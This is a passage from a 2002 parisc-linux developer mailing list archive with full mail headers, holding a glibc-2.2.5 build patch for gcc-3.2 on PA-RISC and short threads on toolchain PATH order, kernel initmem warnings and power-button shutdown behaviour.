>Version: GnuPG v1.0.6 (GNU/Linux)
>Comment: For info see http://www.gnupg.org
>
>iD8DBQE8tuKXpsI+3907LlkRAiS6AKCPISd49rpx64Fo8X08PjKFz7Fw7gCfQRUg
>0v8aiVKkjKnWfZ/rjJEV30s=
>=3T+o
>-----END PGP SIGNATURE-----
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Patch to debina glibc-2.2.5 for gcc-3.2 build
Date: Sat, 13 Apr 2002 11:50:48 -0400 (EDT)
Lines: 353
Approved: news@gmane.org
Message-ID: <200204131550.g3DFon53006093@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621234 6225 80.91.229.3 (22 Nov 2014 01:53:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 13 09:50:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07189482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Apr 2002 09:50:57 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g3DFonFN006095
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Apr 2002 11:50:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g3DFon53006093
	for parisc-linux@lists.parisc-linux.org; Sat, 13 Apr 2002 11:50:49 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14582

This fixes a couple of problems:

1) Multi line string literals are gone gcc 3.2.
2) configure needs to link in libgcc_eh in check for __register_frame_info.

Maybe this should go to debian list but it is mostly PA specific.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2002-04-13  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* configure.in (libc_cv_gcc_dwarf2_unwind_info): Add "-lgcc_eh" to
	libraries to link with.
	* configure: Rebuilt
	* sysdeps/hppa/elf/initfini.c: Don't use multi line string literal.
	* linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c: Likewise.

--- ./configure.in.orig	Thu Dec 20 07:50:32 2001
+++ ./configure.in	Wed Mar 27 12:49:36 2002
@@ -1341,11 +1341,12 @@
 free () {}
 abort () {}
 __bzero () {}
+dl_iterate_phdr () {}
 EOF
 dnl No \ in command here because it ends up inside ''.
 if AC_TRY_COMMAND([${CC-cc} $CFLAGS -DCHECK__register_frame_info
 			    -nostdlib -nostartfiles
-			    -o conftest conftest.c -lgcc >&AC_FD_CC]); then
+			    -o conftest conftest.c -lgcc_eh -lgcc >&AC_FD_CC]); then
   libc_cv_gcc_dwarf2_unwind_info=static
 else
   libc_cv_gcc_dwarf2_unwind_info=no
@@ -1353,7 +1354,7 @@
 if test $libc_cv_gcc_dwarf2_unwind_info = no; then
   if AC_TRY_COMMAND([${CC-cc} $CFLAGS -DCHECK__register_frame
 			      -nostdlib -nostartfiles
-			      -o conftest conftest.c -lgcc >&AC_FD_CC]); then
+			      -o conftest conftest.c -lgcc_eh -lgcc >&AC_FD_CC]); then
     libc_cv_gcc_dwarf2_unwind_info=yes
   else
     libc_cv_gcc_dwarf2_unwind_info=no
--- ./sysdeps/hppa/elf/initfini.c.orig	Mon Jul  9 17:56:22 2001
+++ ./sysdeps/hppa/elf/initfini.c	Fri Apr 12 18:49:26 2002
@@ -39,84 +39,84 @@
    making the comparison and indirect call is quite expensive (see the
    comment in sysdeps/generic/initfini.c). */
 
-__asm__ ("
-
-#include \"defs.h\"
-
-/*@HEADER_ENDS*/
-
-/*@_init_PROLOG_BEGINS*/
-	.section .init
-	.align 4
-	.globl _init
-	.type _init,@function
-_init:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	bl	__gmon_start__,%rp
-	copy	%r19,%r4	/* delay slot */
-	copy	%r4,%r19
-/*@_init_PROLOG_ENDS*/
-
-/*@_init_EPILOG_BEGINS*/
-        .text
-        .align 4
-        .weak   __gmon_start__
-        .type    __gmon_start__,@function
-__gmon_start__:
-	.proc
-	.callinfo
-	.entry
-        bv,n %r0(%r2)
-	.exit
-	.procend
-
-/* Here is the tail end of _init.  We put __gmon_start before this so
-   that the assembler creates the .PARISC.unwind section for us, ie.
-   with the right attributes.  */
-	.section .init
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_init:
-	ldwm	-64(%sp),%r4
-
-/* Our very own unwind info, because the assembler can't handle
-   functions split into two or more pieces.  */
-	.section .PARISC.unwind
-	.extern _init
-	.word	_init, _end_init
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_init_EPILOG_ENDS*/
-
-/*@_fini_PROLOG_BEGINS*/
-	.section .fini
-	.align 4
-	.globl _fini
-	.type _fini,@function
-_fini:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	copy	%r19,%r4
-/*@_fini_PROLOG_ENDS*/
-
-/*@_fini_EPILOG_BEGINS*/
-	.section .fini
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_fini:
-	ldwm	-64(%sp),%r4
-
-	.section .PARISC.unwind
-	.extern _fini
-	.word	_fini, _end_fini
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_fini_EPILOG_ENDS*/
-
-/*@TRAILER_BEGINS*/
+__asm__ ("\n\
+\n\
+#include \"defs.h\"\n\
+\n\
+/*@HEADER_ENDS*/\n\
+\n\
+/*@_init_PROLOG_BEGINS*/\n\
+	.section .init\n\
+	.align 4\n\
+	.globl _init\n\
+	.type _init,@function\n\
+_init:\n\
+	stw	%rp,-20(%sp)\n\
+	stwm	%r4,64(%sp)\n\
+	stw	%r19,-32(%sp)\n\
+	bl	__gmon_start__,%rp\n\
+	copy	%r19,%r4	/* delay slot */\n\
+	copy	%r4,%r19\n\
+/*@_init_PROLOG_ENDS*/\n\
+\n\
+/*@_init_EPILOG_BEGINS*/\n\
+        .text\n\
+        .align 4\n\
+        .weak   __gmon_start__\n\
+        .type    __gmon_start__,@function\n\
+__gmon_start__:\n\
+	.proc\n\
+	.callinfo\n\
+	.entry\n\
+        bv,n %r0(%r2)\n\
+	.exit\n\
+	.procend\n\
+\n\
+/* Here is the tail end of _init.  We put __gmon_start before this so\n\
+   that the assembler creates the .PARISC.unwind section for us, ie.\n\
+   with the right attributes.  */\n\
+	.section .init\n\
+	ldw	-84(%sp),%rp\n\
+	copy	%r4,%r19\n\
+	bv	%r0(%rp)\n\
+_end_init:\n\
+	ldwm	-64(%sp),%r4\n\
+\n\
+/* Our very own unwind info, because the assembler can't handle\n\
+   functions split into two or more pieces.  */\n\
+	.section .PARISC.unwind\n\
+	.extern _init\n\
+	.word	_init, _end_init\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08\n\
+\n\
+/*@_init_EPILOG_ENDS*/\n\
+\n\
+/*@_fini_PROLOG_BEGINS*/\n\
+	.section .fini\n\
+	.align 4\n\
+	.globl _fini\n\
+	.type _fini,@function\n\
+_fini:\n\
+	stw	%rp,-20(%sp)\n\
+	stwm	%r4,64(%sp)\n\
+	stw	%r19,-32(%sp)\n\
+	copy	%r19,%r4\n\
+/*@_fini_PROLOG_ENDS*/\n\
+\n\
+/*@_fini_EPILOG_BEGINS*/\n\
+	.section .fini\n\
+	ldw	-84(%sp),%rp\n\
+	copy	%r4,%r19\n\
+	bv	%r0(%rp)\n\
+_end_fini:\n\
+	ldwm	-64(%sp),%r4\n\
+\n\
+	.section .PARISC.unwind\n\
+	.extern _fini\n\
+	.word	_fini, _end_fini\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08\n\
+\n\
+/*@_fini_EPILOG_ENDS*/\n\
+\n\
+/*@TRAILER_BEGINS*/\n\
 ");
--- ./linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c.orig	Thu Jun  7 00:28:55 2001
+++ ./linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c	Fri Apr 12 22:25:59 2002
@@ -41,70 +41,70 @@
    and epilogues.  Therefore we write these in assembly to make sure
    they do the right thing.  */
 
-__asm__ ("
-
-#include \"defs.h\"
-
-/*@HEADER_ENDS*/
-
-/*@_init_PROLOG_BEGINS*/
-	.section .init
-	.align 4
-	.globl _init
-	.type _init,@function
-_init:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	bl	__pthread_initialize_minimal,%rp
-	copy	%r19,%r4	/* delay slot */
-	copy	%r4,%r19
-/*@_init_PROLOG_ENDS*/
-
-/*@_init_EPILOG_BEGINS*/
-/* Here is the tail end of _init.  */
-	.section .init
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_init:
-	ldwm	-64(%sp),%r4
-
-/* Our very own unwind info, because the assembler can't handle
-   functions split into two or more pieces.  */
-	.section .PARISC.unwind,\"a\",@progbits
-	.extern _init
-	.word	_init, _end_init
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_init_EPILOG_ENDS*/
-
-/*@_fini_PROLOG_BEGINS*/
-	.section .fini
-	.align 4
-	.globl _fini
-	.type _fini,@function
-_fini:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	copy	%r19,%r4
-/*@_fini_PROLOG_ENDS*/
-
-/*@_fini_EPILOG_BEGINS*/
-	.section .fini
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_fini:
-	ldwm	-64(%sp),%r4
-
-	.section .PARISC.unwind,\"a\",@progbits
-	.extern _fini
-	.word	_fini, _end_fini
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_fini_EPILOG_ENDS*/
-
-/*@TRAILER_BEGINS*/
+__asm__ ("\n\
+\n\
+#include \"defs.h\"\n\
+\n\
+/*@HEADER_ENDS*/\n\
+\n\
+/*@_init_PROLOG_BEGINS*/\n\
+	.section .init\n\
+	.align 4\n\
+	.globl _init\n\
+	.type _init,@function\n\
+_init:\n\
+	stw	%rp,-20(%sp)\n\
+	stwm	%r4,64(%sp)\n\
+	stw	%r19,-32(%sp)\n\
+	bl	__pthread_initialize_minimal,%rp\n\
+	copy	%r19,%r4	/* delay slot */\n\
+	copy	%r4,%r19\n\
+/*@_init_PROLOG_ENDS*/\n\
+\n\
+/*@_init_EPILOG_BEGINS*/\n\
+/* Here is the tail end of _init.  */\n\
+	.section .init\n\
+	ldw	-84(%sp),%rp\n\
+	copy	%r4,%r19\n\
+	bv	%r0(%rp)\n\
+_end_init:\n\
+	ldwm	-64(%sp),%r4\n\
+\n\
+/* Our very own unwind info, because the assembler can't handle\n\
+   functions split into two or more pieces.  */\n\
+	.section .PARISC.unwind,\"a\",@progbits\n\
+	.extern _init\n\
+	.word	_init, _end_init\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08\n\
+\n\
+/*@_init_EPILOG_ENDS*/\n\
+\n\
+/*@_fini_PROLOG_BEGINS*/\n\
+	.section .fini\n\
+	.align 4\n\
+	.globl _fini\n\
+	.type _fini,@function\n\
+_fini:\n\
+	stw	%rp,-20(%sp)\n\
+	stwm	%r4,64(%sp)\n\
+	stw	%r19,-32(%sp)\n\
+	copy	%r19,%r4\n\
+/*@_fini_PROLOG_ENDS*/\n\
+\n\
+/*@_fini_EPILOG_BEGINS*/\n\
+	.section .fini\n\
+	ldw	-84(%sp),%rp\n\
+	copy	%r4,%r19\n\
+	bv	%r0(%rp)\n\
+_end_fini:\n\
+	ldwm	-64(%sp),%r4\n\
+\n\
+	.section .PARISC.unwind,\"a\",@progbits\n\
+	.extern _fini\n\
+	.word	_fini, _end_fini\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08\n\
+\n\
+/*@_fini_EPILOG_ENDS*/\n\
+\n\
+/*@TRAILER_BEGINS*/\n\
 ");



From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC support for dwarf2
Date: Mon, 15 Apr 2002 08:30:56 +0200 (CEST)
Lines: 51
Approved: news@gmane.org
Message-ID: <1018852256.3cba73a0993ad@webmail.tiscalinet.be>
References: <200204111531.g3BFV5Fv000173@hiauly1.hia.nrc.ca> <1018542948.3cb5bb6a4053a@webmail.tiscalinet.be> <1018612168.3cb6c9c8a9afc@webmail.tiscalinet.be> <20020412174440.A5919@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621234 6228 80.91.229.3 (22 Nov 2014 01:53:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:54 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 00:32:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A62D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 00:32:02 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16x00w-0002wJ-00; Mon, 15 Apr 2002 08:30:58 +0200
In-Reply-To: <20020412174440.A5919@systemhalted>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14583

Quoting "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>:

> > Hi Dave,
> > 
> > Here am I with something confusing me about glibc building.
> > 
> > In the Carlos O'Donell recipe
> > (http://www.parisc-linux.org/toolchain/PA-Linux-XC-HOWTO-04.html)
> > 
> > It is set "export PATH=$PATH:$DEST/bin"
> > So at configure step it was selected gcc-3.0.4 (the last release for
> hppa-linux box)
> > 
> > Naturally if I put "export PATH=$DEST/bin:$PATH", the configure of
> glibc select
> > (for me well) gcc-3.2.
> > 
> > What is the right way? (for me the second)
> > 
> > Thanks for more help,
> >     Joel
> >
> 
> The document describes building a cross-compiler for non-hppa->hppa. 
> Where gcc would be prefaced with 'hppa-linux' and might be
> the only such executable on the system. Obviously if you have multiple
> toolchains on your path the order should be '$DEST/bin:$PATH'.

Ok it is clear.

> 
> Happily this document also serves as a 'build the toolchain' document
> :)
> 
> I'll update that bit, make some spelling mistakes and email Grant.
> 

I just also notice that the glibc release is now 2.2.5 which is extracted as
glibc-2.2.5.orig (so just after "Now onto glibc:" 
    cd glibc-2.2.4
would be:
    cd glibc-2.2.5.orig)

    
Thanks for your attention and your great job,
    Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] not freeing initmem and power button
Date: Mon, 15 Apr 2002 08:41:08 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <F39D7BsZXbLvwa2SydH0001aa92@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416621235 6231 80.91.229.3 (22 Nov 2014 01:53:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 02:41:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f39.law4.hotmail.com [216.33.149.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74D61482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 02:41:15 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 15 Apr 2002 01:41:08 -0700
Original-Received: from 194.7.222.142 by lw4fd.law4.hotmail.msn.com with HTTP;
	Mon, 15 Apr 2002 08:41:08 GMT
X-Originating-IP: [194.7.222.142]
X-OriginalArrivalTime: 15 Apr 2002 08:41:08.0915 (UTC) FILETIME=[4A144830:01C1E459]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14584

Hi all,

After a few months of gathering dust, I finally decided to upgrade my 
712/60. It was initially installed with the old 0.9.2 ISO, and upgraded with 
a more recent kernel (I think it was 2.4.9). This weekend I did an apt-get 
update, apt-get upgrade to upgrade my system (woody). I also compiled a new 
kernel (2.4.18-pa16) for this system. The system boots fine and as far as I 
can see, all applications "survived" the upgrade. The only problem I am 
experiencing are 2 _bugs_ mentionned a while ago in the mailing list.

- When booting the kernel reports: NOT FREEING INITMEM. I found this in the 
mailing list, but I couldn't find a solution. Is there any solution for this 
problem? I don't think I had this when running the old kernel.

- Second, when I push the power button, the system powers off without doing 
a clean shutdown. When running the 2.4.9 kernel the machine didn't halt when 
pushing this button. Only typing in "shutdown -h now" did the trick. I 
prefer this behaviour. In this case a normal user cannot shutdown the 
machine, except by pulling the power cord. Can someone please tell me which 
file to edit/tweak to give back this
old behaviour?

Many thanks in advance.


regards,

Kenneth

enjoy life, enjoy linux,

Kenneth

_________________________________________________________________
Download MSN Explorer gratis van http://explorer.msn.nl/intl.asp.




From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Mon, 15 Apr 2002 12:32:46 +0200
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 22
Approved: news@gmane.org
Message-ID: <200204151232.46311.helge.deller@sap.com>
References: <F39D7BsZXbLvwa2SydH0001aa92@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621235 6233 80.91.229.3 (22 Nov 2014 01:53:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:55 +0000 (UTC)
To: "Kenneth Westelinck" <kennywest1@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 04:32:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id A68A1482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 04:32:48 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id MAA09833;
  Mon, 15 Apr 2002 12:37:32 +0200 (MESZ)
X-Mailer: KMail [version 1.4]
In-Reply-To: <F39D7BsZXbLvwa2SydH0001aa92@hotmail.com>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14585

On Monday 15 April 2002 10:41, Kenneth Westelinck wrote:
> - When booting the kernel reports: NOT FREEING INITMEM. I found this in the
> mailing list, but I couldn't find a solution. Is there any solution for
> this problem? I don't think I had this when running the old kernel.

Older kernels just didn't reported it, but all had this problem.
We're not freeing the memory yet, since we still have one or more 
__init or __initdata too much in our kernel. Just ignore it for now.

> - Second, when I push the power button, the system powers off without doing
> a clean shutdown. When running the 2.4.9 kernel the machine didn't halt
> when pushing this button. Only typing in "shutdown -h now" did the trick. I
> prefer this behaviour. In this case a normal user cannot shutdown the
> machine, except by pulling the power cord. Can someone please tell me which
> file to edit/tweak to give back this old behaviour?

The power-button should work if you update to a newer kernel (>= 2.4.18-pa19).

Helge




From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Mon, 15 Apr 2002 11:59:49 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <F92wTQUS2cYmqJpuUdJ00006859@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416621235 6235 80.91.229.3 (22 Nov 2014 01:53:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:55 +0000 (UTC)
To: helge.deller@sap.com, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 05:59:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f92.law4.hotmail.com [216.33.149.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21C334830
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 05:59:52 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 15 Apr 2002 04:59:50 -0700
Original-Received: from 194.7.222.142 by lw4fd.law4.hotmail.msn.com with HTTP;
	Mon, 15 Apr 2002 11:59:49 GMT
X-Originating-IP: [194.7.222.142]
X-OriginalArrivalTime: 15 Apr 2002 11:59:50.0284 (UTC) FILETIME=[0BC4D4C0:01C1E475]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14586

>The power-button should work if you update to a newer kernel (>= 
>2.4.18-pa19).

Cool, does this mean: if I push the button, the system will do a clean 
shutdown? Or if I push the button, nothing happens?
Is there an easy way to disable this. I mean, I only want to shutdown the 
machine using the command line (call me a freak ;)).
Thanks.

regards,

Kenneth

_________________________________________________________________
Download MSN Explorer gratis van http://explorer.msn.nl/intl.asp.




From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Seelig <pseelig@uni-mainz.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Congratulations again! :-) [was:Re: [parisc-linux] Successful installation and keyboard problems]
Date: 15 Apr 2002 16:28:25 +0200
Organization: En Casa S.A.
Lines: 34
Approved: news@gmane.org
Message-ID: <87vgatf33q.fsf_-_@p508109A8.dip.t-dialin.net>
References: <871ydo6a5a.fsf@p50811B33.dip.t-dialin.net> <200204101110.32294.helge.deller@sap.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621235 6240 80.91.229.3 (22 Nov 2014 01:53:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 08:32:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95B6C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 08:32:25 -0600 (MDT)
Original-Received: from fwd00.sul.t-online.de 
	by mailout09.sul.t-online.com with smtp 
